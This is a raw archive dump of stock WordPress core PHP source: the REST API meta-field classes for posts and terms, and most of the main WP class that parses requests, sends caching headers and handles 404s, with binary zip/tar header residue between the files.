	 * Retrieves all the registered meta fields.
	 *
	 * @since 4.7.0
	 *
	 * @return array Registered fields.
	 */
	protected function get_registered_fields() {
		$registered = array();

		$meta_type    = $this->get_meta_type();
		$meta_subtype = $this->get_meta_subtype();

		$meta_keys = get_registered_meta_keys( $meta_type );
		if ( ! empty( $meta_subtype ) ) {
			$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $meta_type, $meta_subtype ) );
		}

		foreach ( $meta_keys as $name => $args ) {
			if ( empty( $args['show_in_rest'] ) ) {
				continue;
			}

			$rest_args = array();

			if ( is_array( $args['show_in_rest'] ) ) {
				$rest_args = $args['show_in_rest'];
			}

			$default_args = array(
				'name'             => $name,
				'single'           => $args['single'],
				'type'             => ! empty( $args['type'] ) ? $args['type'] : null,
				'schema'           => array(),
				'prepare_callback' => array( $this, 'prepare_value' ),
			);

			$default_schema = array(
				'type'        => $default_args['type'],
				'title'       => empty( $args['label'] ) ? '' : $args['label'],
				'description' => empty( $args['description'] ) ? '' : $args['description'],
				'default'     => isset( $args['default'] ) ? $args['default'] : null,
			);

			$rest_args           = array_merge( $default_args, $rest_args );
			$rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] );

			$type = ! empty( $rest_args['type'] ) ? $rest_args['type'] : null;
			$type = ! empty( $rest_args['schema']['type'] ) ? $rest_args['schema']['type'] : $type;

			if ( null === $rest_args['schema']['default'] ) {
				$rest_args['schema']['default'] = static::get_empty_value_for_type( $type );
			}

			$rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] );

			if ( ! in_array( $type, array( 'string', 'boolean', 'integer', 'number', 'array', 'object' ), true ) ) {
				continue;
			}

			if ( empty( $rest_args['single'] ) ) {
				$rest_args['schema'] = array(
					'type'  => 'array',
					'items' => $rest_args['schema'],
				);
			}

			$registered[ $name ] = $rest_args;
		}

		return $registered;
	}

	/**
	 * Retrieves the object's meta schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Field schema data.
	 */
	public function get_field_schema() {
		$fields = $this->get_registered_fields();

		$schema = array(
			'description' => __( 'Meta fields.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit' ),
			'properties'  => array(),
			'arg_options' => array(
				'sanitize_callback' => null,
				'validate_callback' => array( $this, 'check_meta_is_array' ),
			),
		);

		foreach ( $fields as $args ) {
			$schema['properties'][ $args['name'] ] = $args['schema'];
		}

		return $schema;
	}

	/**
	 * Prepares a meta value for output.
	 *
	 * Default preparation for meta fields. Override by passing the
	 * `prepare_callback` in your `show_in_rest` options.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value from the database.
	 * @param WP_REST_Request $request Request object.
	 * @param array           $args    REST-specific options for the meta key.
	 * @return mixed Value prepared for output. If a non-JsonSerializable object, null.
	 */
	public static function prepare_value( $value, $request, $args ) {
		if ( $args['single'] ) {
			$schema = $args['schema'];
		} else {
			$schema = $args['schema']['items'];
		}

		if ( '' === $value && in_array( $schema['type'], array( 'boolean', 'integer', 'number' ), true ) ) {
			$value = static::get_empty_value_for_type( $schema['type'] );
		}

		if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) {
			return null;
		}

		return rest_sanitize_value_from_schema( $value, $schema );
	}

	/**
	 * Check the 'meta' value of a request is an associative array.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   The meta value submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return array|false The meta array, if valid, false otherwise.
	 */
	public function check_meta_is_array( $value, $request, $param ) {
		if ( ! is_array( $value ) ) {
			return false;
		}

		return $value;
	}

	/**
	 * Recursively add additionalProperties = false to all objects in a schema if no additionalProperties setting
	 * is specified.
	 *
	 * This is needed to restrict properties of objects in meta values to only
	 * registered items, as the REST API will allow additional properties by
	 * default.
	 *
	 * @since 5.3.0
	 * @deprecated 5.6.0 Use rest_default_additional_properties_to_false() instead.
	 *
	 * @param array $schema The schema array.
	 * @return array
	 */
	protected function default_additional_properties_to_false( $schema ) {
		_deprecated_function( __METHOD__, '5.6.0', 'rest_default_additional_properties_to_false()' );

		return rest_default_additional_properties_to_false( $schema );
	}

	/**
	 * Gets the empty value for a schema type.
	 *
	 * @since 5.3.0
	 *
	 * @param string $type The schema type.
	 * @return mixed
	 */
	protected static function get_empty_value_for_type( $type ) {
		switch ( $type ) {
			case 'string':
				return '';
			case 'boolean':
				return false;
			case 'integer':
				return 0;
			case 'number':
				return 0.0;
			case 'array':
			case 'object':
				return array();
			default:
				return null;
		}
	}
}
PKFfd[`&���"class-wp-rest-post-meta-fields.phpnu�[���<?php
/**
 * REST API: WP_REST_Post_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Post_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Post type to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_type Post type to register fields for.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
	}

	/**
	 * Retrieves the post meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'post';
	}

	/**
	 * Retrieves the post meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->post_type;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_field()
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return $this->post_type;
	}
}
PKFfd[x-,���"class-wp-rest-term-meta-fields.phpnu�[���<?php
/**
 * REST API: WP_REST_Term_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for terms via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Term_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Taxonomy to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy to register fields for.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy = $taxonomy;
	}

	/**
	 * Retrieves the term meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'term';
	}

	/**
	 * Retrieves the term meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->taxonomy;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy;
	}
}
PKFfd[�jH�7�7	error_lognu�[���PKFfd[r���XX"�7class-wp-rest-user-meta-fields.phpnu�[���PKFfd[��%n;class-wp-rest-comment-meta-fields.phpnu�[���PKFfd[���RHRHB?class-wp-rest-meta-fields.phpnu�[���PKFfd[`&���"�class-wp-rest-post-meta-fields.phpnu�[���PKFfd[x-,���"�class-wp-rest-term-meta-fields.phpnu�[���PK1:�14338/class-wp.php.tar000064400000067000151024420100010245 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-wp.php000064400000063316151024201670023625 0ustar00<?php
/**
 * WordPress environment setup class.
 *
 * @package WordPress
 * @since 2.0.0
 */
#[AllowDynamicProperties]
class WP {
	/**
	 * Public query variables.
	 *
	 * Long list of public query variables.
	 *
	 * @since 2.0.0
	 * @var string[]
	 */
	public $public_query_vars = array( 'm', 'p', 'posts', 'w', 'cat', 'withcomments', 'withoutcomments', 's', 'search', 'exact', 'sentence', 'calendar', 'page', 'paged', 'more', 'tb', 'pb', 'author', 'order', 'orderby', 'year', 'monthnum', 'day', 'hour', 'minute', 'second', 'name', 'category_name', 'tag', 'feed', 'author_name', 'pagename', 'page_id', 'error', 'attachment', 'attachment_id', 'subpost', 'subpost_id', 'preview', 'robots', 'favicon', 'taxonomy', 'term', 'cpage', 'post_type', 'embed' );

	/**
	 * Private query variables.
	 *
	 * Long list of private query variables.
	 *
	 * @since 2.0.0
	 * @var string[]
	 */
	public $private_query_vars = array( 'offset', 'posts_per_page', 'posts_per_archive_page', 'showposts', 'nopaging', 'post_type', 'post_status', 'category__in', 'category__not_in', 'category__and', 'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and', 'tag_id', 'post_mime_type', 'perm', 'comments_per_page', 'post__in', 'post__not_in', 'post_parent', 'post_parent__in', 'post_parent__not_in', 'title', 'fields' );

	/**
	 * Extra query variables set by the user.
	 *
	 * @since 2.1.0
	 * @var array
	 */
	public $extra_query_vars = array();

	/**
	 * Query variables for setting up the WordPress Query Loop.
	 *
	 * @since 2.0.0
	 * @var array
	 */
	public $query_vars = array();

	/**
	 * String parsed to set the query variables.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $query_string = '';

	/**
	 * The request path, e.g. 2015/05/06.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $request = '';

	/**
	 * Rewrite rule the request matched.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $matched_rule = '';

	/**
	 * Rewrite query the request matched.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $matched_query = '';

	/**
	 * Whether already did the permalink.
	 *
	 * @since 2.0.0
	 * @var bool
	 */
	public $did_permalink = false;

	/**
	 * Adds a query variable to the list of public query variables.
	 *
	 * @since 2.1.0
	 *
	 * @param string $qv Query variable name.
	 */
	public function add_query_var( $qv ) {
		if ( ! in_array( $qv, $this->public_query_vars, true ) ) {
			$this->public_query_vars[] = $qv;
		}
	}

	/**
	 * Removes a query variable from a list of public query variables.
	 *
	 * @since 4.5.0
	 *
	 * @param string $name Query variable name.
	 */
	public function remove_query_var( $name ) {
		$this->public_query_vars = array_diff( $this->public_query_vars, array( $name ) );
	}

	/**
	 * Sets the value of a query variable.
	 *
	 * @since 2.3.0
	 *
	 * @param string $key   Query variable name.
	 * @param mixed  $value Query variable value.
	 */
	public function set_query_var( $key, $value ) {
		$this->query_vars[ $key ] = $value;
	}

	/**
	 * Parses the request to find the correct WordPress query.
	 *
	 * Sets up the query variables based on the request. There are also many
	 * filters and actions that can be used to further manipulate the result.
	 *
	 * @since 2.0.0
	 * @since 6.0.0 A return value was added.
	 *
	 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
	 *
	 * @param array|string $extra_query_vars Set the extra query variables.
	 * @return bool Whether the request was parsed.
	 */
	public function parse_request( $extra_query_vars = '' ) {
		global $wp_rewrite;

		/**
		 * Filters whether to parse the request.
		 *
		 * @since 3.5.0
		 *
		 * @param bool         $bool             Whether or not to parse the request. Default true.
		 * @param WP           $wp               Current WordPress environment instance.
		 * @param array|string $extra_query_vars Extra passed query variables.
		 */
		if ( ! apply_filters( 'do_parse_request', true, $this, $extra_query_vars ) ) {
			return false;
		}

		$this->query_vars     = array();
		$post_type_query_vars = array();

		if ( is_array( $extra_query_vars ) ) {
			$this->extra_query_vars = & $extra_query_vars;
		} elseif ( ! empty( $extra_query_vars ) ) {
			parse_str( $extra_query_vars, $this->extra_query_vars );
		}
		// Process PATH_INFO, REQUEST_URI, and 404 for permalinks.

		// Fetch the rewrite rules.
		$rewrite = $wp_rewrite->wp_rewrite_rules();

		if ( ! empty( $rewrite ) ) {
			// If we match a rewrite rule, this will be cleared.
			$error               = '404';
			$this->did_permalink = true;

			$pathinfo         = isset( $_SERVER['PATH_INFO'] ) ? $_SERVER['PATH_INFO'] : '';
			list( $pathinfo ) = explode( '?', $pathinfo );
			$pathinfo         = str_replace( '%', '%25', $pathinfo );

			list( $req_uri ) = explode( '?', $_SERVER['REQUEST_URI'] );
			$self            = $_SERVER['PHP_SELF'];

			$home_path       = parse_url( home_url(), PHP_URL_PATH );
			$home_path_regex = '';
			if ( is_string( $home_path ) && '' !== $home_path ) {
				$home_path       = trim( $home_path, '/' );
				$home_path_regex = sprintf( '|^%s|i', preg_quote( $home_path, '|' ) );
			}

			/*
			 * Trim path info from the end and the leading home path from the front.
			 * For path info requests, this leaves us with the requesting filename, if any.
			 * For 404 requests, this leaves us with the requested permalink.
			 */
			$req_uri  = str_replace( $pathinfo, '', $req_uri );
			$req_uri  = trim( $req_uri, '/' );
			$pathinfo = trim( $pathinfo, '/' );
			$self     = trim( $self, '/' );

			if ( ! empty( $home_path_regex ) ) {
				$req_uri  = preg_replace( $home_path_regex, '', $req_uri );
				$req_uri  = trim( $req_uri, '/' );
				$pathinfo = preg_replace( $home_path_regex, '', $pathinfo );
				$pathinfo = trim( $pathinfo, '/' );
				$self     = preg_replace( $home_path_regex, '', $self );
				$self     = trim( $self, '/' );
			}

			// The requested permalink is in $pathinfo for path info requests and $req_uri for other requests.
			if ( ! empty( $pathinfo ) && ! preg_match( '|^.*' . $wp_rewrite->index . '$|', $pathinfo ) ) {
				$requested_path = $pathinfo;
			} else {
				// If the request uri is the index, blank it out so that we don't try to match it against a rule.
				if ( $req_uri === $wp_rewrite->index ) {
					$req_uri = '';
				}

				$requested_path = $req_uri;
			}

			$requested_file = $req_uri;

			$this->request = $requested_path;

			// Look for matches.
			$request_match = $requested_path;
			if ( empty( $request_match ) ) {
				// An empty request could only match against ^$ regex.
				if ( isset( $rewrite['$'] ) ) {
					$this->matched_rule = '$';
					$query              = $rewrite['$'];
					$matches            = array( '' );
				}
			} else {
				foreach ( (array) $rewrite as $match => $query ) {
					// If the requested file is the anchor of the match, prepend it to the path info.
					if ( ! empty( $requested_file )
						&& str_starts_with( $match, $requested_file )
						&& $requested_file !== $requested_path
					) {
						$request_match = $requested_file . '/' . $requested_path;
					}

					if ( preg_match( "#^$match#", $request_match, $matches )
						|| preg_match( "#^$match#", urldecode( $request_match ), $matches )
					) {

						if ( $wp_rewrite->use_verbose_page_rules
							&& preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch )
						) {
							// This is a verbose page match, let's check to be sure about it.
							$page = get_page_by_path( $matches[ $varmatch[1] ] );

							if ( ! $page ) {
								continue;
							}

							$post_status_obj = get_post_status_object( $page->post_status );

							if ( ! $post_status_obj->public && ! $post_status_obj->protected
								&& ! $post_status_obj->private && $post_status_obj->exclude_from_search
							) {
								continue;
							}
						}

						// Got a match.
						$this->matched_rule = $match;
						break;
					}
				}
			}

			if ( ! empty( $this->matched_rule ) ) {
				// Trim the query of everything up to the '?'.
				$query = preg_replace( '!^.+\?!', '', $query );

				// Substitute the substring matches into the query.
				$query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) );

				$this->matched_query = $query;

				// Parse the query.
				parse_str( $query, $perma_query_vars );

				// If we're processing a 404 request, clear the error var since we found something.
				if ( '404' === $error ) {
					unset( $error, $_GET['error'] );
				}
			}

			// If req_uri is empty or if it is a request for ourself, unset error.
			if ( empty( $requested_path ) || $requested_file === $self
				|| str_contains( $_SERVER['PHP_SELF'], 'wp-admin/' )
			) {
				unset( $error, $_GET['error'] );

				if ( isset( $perma_query_vars ) && str_contains( $_SERVER['PHP_SELF'], 'wp-admin/' ) ) {
					unset( $perma_query_vars );
				}

				$this->did_permalink = false;
			}
		}

		/**
		 * Filters the query variables allowed before processing.
		 *
		 * Allows (publicly allowed) query vars to be added, removed, or changed prior
		 * to executing the query. Needed to allow custom rewrite rules using your own arguments
		 * to work, or any other custom query variables you want to be publicly available.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $public_query_vars The array of allowed query variable names.
		 */
		$this->public_query_vars = apply_filters( 'query_vars', $this->public_query_vars );

		foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) {
			if ( is_post_type_viewable( $t ) && $t->query_var ) {
				$post_type_query_vars[ $t->query_var ] = $post_type;
			}
		}

		foreach ( $this->public_query_vars as $wpvar ) {
			if ( isset( $this->extra_query_vars[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $this->extra_query_vars[ $wpvar ];
			} elseif ( isset( $_GET[ $wpvar ] ) && isset( $_POST[ $wpvar ] )
				&& $_GET[ $wpvar ] !== $_POST[ $wpvar ]
			) {
				wp_die(
					__( 'A variable mismatch has been detected.' ),
					__( 'Sorry, you are not allowed to view this item.' ),
					400
				);
			} elseif ( isset( $_POST[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $_POST[ $wpvar ];
			} elseif ( isset( $_GET[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $_GET[ $wpvar ];
			} elseif ( isset( $perma_query_vars[ $wpvar ] ) ) {
				$this->query_vars[ $wpvar ] = $perma_query_vars[ $wpvar ];
			}

			if ( ! empty( $this->query_vars[ $wpvar ] ) ) {
				if ( ! is_array( $this->query_vars[ $wpvar ] ) ) {
					$this->query_vars[ $wpvar ] = (string) $this->query_vars[ $wpvar ];
				} else {
					foreach ( $this->query_vars[ $wpvar ] as $vkey => $v ) {
						if ( is_scalar( $v ) ) {
							$this->query_vars[ $wpvar ][ $vkey ] = (string) $v;
						}
					}
				}

				if ( isset( $post_type_query_vars[ $wpvar ] ) ) {
					$this->query_vars['post_type'] = $post_type_query_vars[ $wpvar ];
					$this->query_vars['name']      = $this->query_vars[ $wpvar ];
				}
			}
		}

		// Convert urldecoded spaces back into '+'.
		foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy => $t ) {
			if ( $t->query_var && isset( $this->query_vars[ $t->query_var ] ) ) {
				$this->query_vars[ $t->query_var ] = str_replace( ' ', '+', $this->query_vars[ $t->query_var ] );
			}
		}

		// Don't allow non-publicly queryable taxonomies to be queried from the front end.
		if ( ! is_admin() ) {
			foreach ( get_taxonomies( array( 'publicly_queryable' => false ), 'objects' ) as $taxonomy => $t ) {
				/*
				 * Disallow when set to the 'taxonomy' query var.
				 * Non-publicly queryable taxonomies cannot register custom query vars. See register_taxonomy().
				 */
				if ( isset( $this->query_vars['taxonomy'] ) && $taxonomy === $this->query_vars['taxonomy'] ) {
					unset( $this->query_vars['taxonomy'], $this->query_vars['term'] );
				}
			}
		}

		// Limit publicly queried post_types to those that are 'publicly_queryable'.
		if ( isset( $this->query_vars['post_type'] ) ) {
			$queryable_post_types = get_post_types( array( 'publicly_queryable' => true ) );

			if ( ! is_array( $this->query_vars['post_type'] ) ) {
				if ( ! in_array( $this->query_vars['post_type'], $queryable_post_types, true ) ) {
					unset( $this->query_vars['post_type'] );
				}
			} else {
				$this->query_vars['post_type'] = array_intersect( $this->query_vars['post_type'], $queryable_post_types );
			}
		}

		// Resolve conflicts between posts with numeric slugs and date archive queries.
		$this->query_vars = wp_resolve_numeric_slug_conflicts( $this->query_vars );

		foreach ( (array) $this->private_query_vars as $var ) {
			if ( isset( $this->extra_query_vars[ $var ] ) ) {
				$this->query_vars[ $var ] = $this->extra_query_vars[ $var ];
			}
		}

		if ( isset( $error ) ) {
			$this->query_vars['error'] = $error;
		}

		/**
		 * Filters the array of parsed query variables.
		 *
		 * @since 2.1.0
		 *
		 * @param array $query_vars The array of requested query variables.
		 */
		$this->query_vars = apply_filters( 'request', $this->query_vars );

		/**
		 * Fires once all query variables for the current request have been parsed.
		 *
		 * @since 2.1.0
		 *
		 * @param WP $wp Current WordPress environment instance (passed by reference).
		 */
		do_action_ref_array( 'parse_request', array( &$this ) );

		return true;
	}

	/**
	 * Sends additional HTTP headers for caching, content type, etc.
	 *
	 * Sets the Content-Type header. Sets the 'error' status (if passed) and optionally exits.
	 * If showing a feed, it will also send Last-Modified, ETag, and 304 status if needed.
	 *
	 * @since 2.0.0
	 * @since 4.4.0 `X-Pingback` header is added conditionally for single posts that allow pings.
	 * @since 6.1.0 Runs after posts have been queried.
	 *
	 * @global WP_Query $wp_query WordPress Query object.
	 */
	public function send_headers() {
		global $wp_query;

		$headers       = array();
		$status        = null;
		$exit_required = false;
		$date_format   = 'D, d M Y H:i:s';

		if ( is_user_logged_in() ) {
			$headers = array_merge( $headers, wp_get_nocache_headers() );
		} elseif ( ! empty( $_GET['unapproved'] ) && ! empty( $_GET['moderation-hash'] ) ) {
			// Unmoderated comments are only visible for 10 minutes via the moderation hash.
			$expires = 10 * MINUTE_IN_SECONDS;

			$headers['Expires']       = gmdate( $date_format, time() + $expires );
			$headers['Cache-Control'] = sprintf(
				'max-age=%d, must-revalidate',
				$expires
			);
		}
		if ( ! empty( $this->query_vars['error'] ) ) {
			$status = (int) $this->query_vars['error'];

			if ( 404 === $status ) {
				if ( ! is_user_logged_in() ) {
					$headers = array_merge( $headers, wp_get_nocache_headers() );
				}

				$headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' );
			} elseif ( in_array( $status, array( 403, 500, 502, 503 ), true ) ) {
				$exit_required = true;
			}
		} elseif ( empty( $this->query_vars['feed'] ) ) {
			$headers['Content-Type'] = get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' );
		} else {
			// Set the correct content type for feeds.
			$type = $this->query_vars['feed'];
			if ( 'feed' === $this->query_vars['feed'] ) {
				$type = get_default_feed();
			}

			$headers['Content-Type'] = feed_content_type( $type ) . '; charset=' . get_option( 'blog_charset' );

			// We're showing a feed, so WP is indeed the only thing that last changed.
			if ( ! empty( $this->query_vars['withcomments'] )
				|| str_contains( $this->query_vars['feed'], 'comments-' )
				|| ( empty( $this->query_vars['withoutcomments'] )
					&& ( ! empty( $this->query_vars['p'] )
						|| ! empty( $this->query_vars['name'] )
						|| ! empty( $this->query_vars['page_id'] )
						|| ! empty( $this->query_vars['pagename'] )
						|| ! empty( $this->query_vars['attachment'] )
						|| ! empty( $this->query_vars['attachment_id'] )
					)
				)
			) {
				$wp_last_modified_post    = mysql2date( $date_format, get_lastpostmodified( 'GMT' ), false );
				$wp_last_modified_comment = mysql2date( $date_format, get_lastcommentmodified( 'GMT' ), false );

				if ( strtotime( $wp_last_modified_post ) > strtotime( $wp_last_modified_comment ) ) {
					$wp_last_modified = $wp_last_modified_post;
				} else {
					$wp_last_modified = $wp_last_modified_comment;
				}
			} else {
				$wp_last_modified = mysql2date( $date_format, get_lastpostmodified( 'GMT' ), false );
			}

			if ( ! $wp_last_modified ) {
				$wp_last_modified = gmdate( $date_format );
			}

			$wp_last_modified .= ' GMT';
			$wp_etag           = '"' . md5( $wp_last_modified ) . '"';

			$headers['Last-Modified'] = $wp_last_modified;
			$headers['ETag']          = $wp_etag;

			// Support for conditional GET.
			if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ) {
				$client_etag = wp_unslash( $_SERVER['HTTP_IF_NONE_MATCH'] );
			} else {
				$client_etag = '';
			}

			if ( isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) {
				$client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] );
			} else {
				$client_last_modified = '';
			}

			// If string is empty, return 0. If not, attempt to parse into a timestamp.
			$client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0;

			// Make a timestamp for our most recent modification.
			$wp_modified_timestamp = strtotime( $wp_last_modified );

			if ( ( $client_last_modified && $client_etag )
				? ( ( $client_modified_timestamp >= $wp_modified_timestamp ) && ( $client_etag === $wp_etag ) )
				: ( ( $client_modified_timestamp >= $wp_modified_timestamp ) || ( $client_etag === $wp_etag ) )
			) {
				$status        = 304;
				$exit_required = true;
			}
		}

		if ( is_singular() ) {
			$post = isset( $wp_query->post ) ? $wp_query->post : null;

			// Only set X-Pingback for single posts that allow pings.
			if ( $post && pings_open( $post ) ) {
				$headers['X-Pingback'] = get_bloginfo( 'pingback_url', 'display' );
			}

			// Send nocache headers for password protected posts to avoid unwanted caching.
			if ( ! empty( $post->post_password ) ) {
				$headers = array_merge( $headers, wp_get_nocache_headers() );
			}
		}

		/**
		 * Filters the HTTP headers before they're sent to the browser.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $headers Associative array of headers to be sent.
		 * @param WP       $wp      Current WordPress environment instance.
		 */
		$headers = apply_filters( 'wp_headers', $headers, $this );

		if ( ! empty( $status ) ) {
			status_header( $status );
		}

		// If Last-Modified is set to false, it should not be sent (no-cache situation).
		if ( isset( $headers['Last-Modified'] ) && false === $headers['Last-Modified'] ) {
			unset( $headers['Last-Modified'] );

			if ( ! headers_sent() ) {
				header_remove( 'Last-Modified' );
			}
		}

		if ( ! headers_sent() ) {
			foreach ( (array) $headers as $name => $field_value ) {
				header( "{$name}: {$field_value}" );
			}
		}

		if ( $exit_required ) {
			exit;
		}

		/**
		 * Fires once the requested HTTP headers for caching, content type, etc. have been sent.
		 *
		 * @since 2.1.0
		 *
		 * @param WP $wp Current WordPress environment instance (passed by reference).
		 */
		do_action_ref_array( 'send_headers', array( &$this ) );
	}

	/**
	 * Sets the query string property based off of the query variable property.
	 *
	 * The {@see 'query_string'} filter is deprecated, but still works. Plugins should
	 * use the {@see 'request'} filter instead.
	 *
	 * @since 2.0.0
	 */
	public function build_query_string() {
		$this->query_string = '';

		foreach ( (array) array_keys( $this->query_vars ) as $wpvar ) {
			if ( '' !== $this->query_vars[ $wpvar ] ) {
				$this->query_string .= ( strlen( $this->query_string ) < 1 ) ? '' : '&';

				if ( ! is_scalar( $this->query_vars[ $wpvar ] ) ) { // Discard non-scalars.
					continue;
				}

				$this->query_string .= $wpvar . '=' . rawurlencode( $this->query_vars[ $wpvar ] );
			}
		}

		if ( has_filter( 'query_string' ) ) {  // Don't bother filtering and parsing if no plugins are hooked in.
			/**
			 * Filters the query string before parsing.
			 *
			 * @since 1.5.0
			 * @deprecated 2.1.0 Use {@see 'query_vars'} or {@see 'request'} filters instead.
			 *
			 * @param string $query_string The query string to modify.
			 */
			$this->query_string = apply_filters_deprecated(
				'query_string',
				array( $this->query_string ),
				'2.1.0',
				'query_vars, request'
			);

			parse_str( $this->query_string, $this->query_vars );
		}
	}

	/**
	 * Set up the WordPress Globals.
	 *
	 * The query_vars property will be extracted to the GLOBALS. So care should
	 * be taken when naming global variables that might interfere with the
	 * WordPress environment.
	 *
	 * @since 2.0.0
	 *
	 * @global WP_Query     $wp_query     WordPress Query object.
	 * @global string       $query_string Query string for the loop.
	 * @global array        $posts        The found posts.
	 * @global WP_Post|null $post         The current post, if available.
	 * @global string       $request      The SQL statement for the request.
	 * @global int          $more         Only set, if single page or post.
	 * @global int          $single       If single page or post. Only set, if single page or post.
	 * @global WP_User      $authordata   Only set, if author archive.
	 */
	public function register_globals() {
		global $wp_query;

		// Extract updated query vars back into global namespace.
		foreach ( (array) $wp_query->query_vars as $key => $value ) {
			$GLOBALS[ $key ] = $value;
		}

		$GLOBALS['query_string'] = $this->query_string;
		$GLOBALS['posts']        = & $wp_query->posts;
		$GLOBALS['post']         = isset( $wp_query->post ) ? $wp_query->post : null;
		$GLOBALS['request']      = $wp_query->request;

		if ( $wp_query->is_single() || $wp_query->is_page() ) {
			$GLOBALS['more']   = 1;
			$GLOBALS['single'] = 1;
		}

		if ( $wp_query->is_author() ) {
			$GLOBALS['authordata'] = get_userdata( get_queried_object_id() );
		}
	}

	/**
	 * Set up the current user.
	 *
	 * @since 2.0.0
	 */
	public function init() {
		wp_get_current_user();
	}

	/**
	 * Set up the Loop based on the query variables.
	 *
	 * @since 2.0.0
	 *
	 * @global WP_Query $wp_the_query WordPress Query object.
	 */
	public function query_posts() {
		global $wp_the_query;
		$this->build_query_string();
		$wp_the_query->query( $this->query_vars );
	}

	/**
	 * Set the Headers for 404, if nothing is found for requested URL.
	 *
	 * Issue a 404 if a request doesn't match any posts and doesn't match any object
	 * (e.g. an existing-but-empty category, tag, author) and a 404 was not already issued,
	 * and if the request was not a search or the homepage.
	 *
	 * Otherwise, issue a 200.
	 *
	 * This sets headers after posts have been queried. handle_404() really means "handle status".
	 * By inspecting the result of querying posts, seemingly successful requests can be switched to
	 * a 404 so that canonical redirection logic can kick in.
	 *
	 * @since 2.0.0
	 *
	 * @global WP_Query $wp_query WordPress Query object.
	 */
	public function handle_404() {
		global $wp_query;

		/**
		 * Filters whether to short-circuit default header status handling.
		 *
		 * Returning a non-false value from the filter will short-circuit the handling
		 * and return early.
		 *
		 * @since 4.5.0
		 *
		 * @param bool     $preempt  Whether to short-circuit default header status handling. Default false.
		 * @param WP_Query $wp_query WordPress Query object.
		 */
		if ( false !== apply_filters( 'pre_handle_404', false, $wp_query ) ) {
			return;
		}

		// If we've already issued a 404, bail.
		if ( is_404() ) {
			return;
		}

		$set_404 = true;

		// Never 404 for the admin, robots, or favicon.
		if ( is_admin() || is_robots() || is_favicon() ) {
			$set_404 = false;

			// If posts were found, check for paged content.
		} elseif ( $wp_query->posts ) {
			$content_found = true;

			if ( is_singular() ) {
				$post = isset( $wp_query->post ) ? $wp_query->post : null;
				$next = '<!--nextpage-->';

				// Check for paged content that exceeds the max number of pages.
				if ( $post && ! empty( $this->query_vars['page'] ) ) {
					// Check if content is actually intended to be paged.
					if ( str_contains( $post->post_content, $next ) ) {
						$page          = trim( $this->query_vars['page'], '/' );
						$content_found = (int) $page <= ( substr_count( $post->post_content, $next ) + 1 );
					} else {
						$content_found = false;
					}
				}
			}

			// The posts page does not support the <!--nextpage--> pagination.
			if ( $wp_query->is_posts_page && ! empty( $this->query_vars['page'] ) ) {
				$content_found = false;
			}

			if ( $content_found ) {
				$set_404 = false;
			}

			// We will 404 for paged queries, as no posts were found.
		} elseif ( ! is_paged() ) {
			$author = get_query_var( 'author' );

			// Don't 404 for authors without posts as long as they matched an author on this site.
